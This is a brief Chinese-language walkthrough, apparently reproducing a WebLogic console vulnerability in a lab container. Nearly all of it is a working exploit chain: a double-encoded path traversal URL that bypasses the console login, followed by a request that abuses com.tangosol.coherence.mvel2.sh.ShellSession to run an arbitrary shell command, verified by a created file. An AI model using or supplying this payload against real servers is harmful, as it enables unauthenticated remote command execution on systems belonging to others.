ip:/console进入登录页面

然后我们输入

ip:7001/console/css/%252e%252e%252fconsole.portal进行登陆绕过

然后我们进行访问

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/txt');")

利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令

我们看到页面回显404，进入环境漏洞容器中查看文件是否被建立

可以看到文件已经被成功建立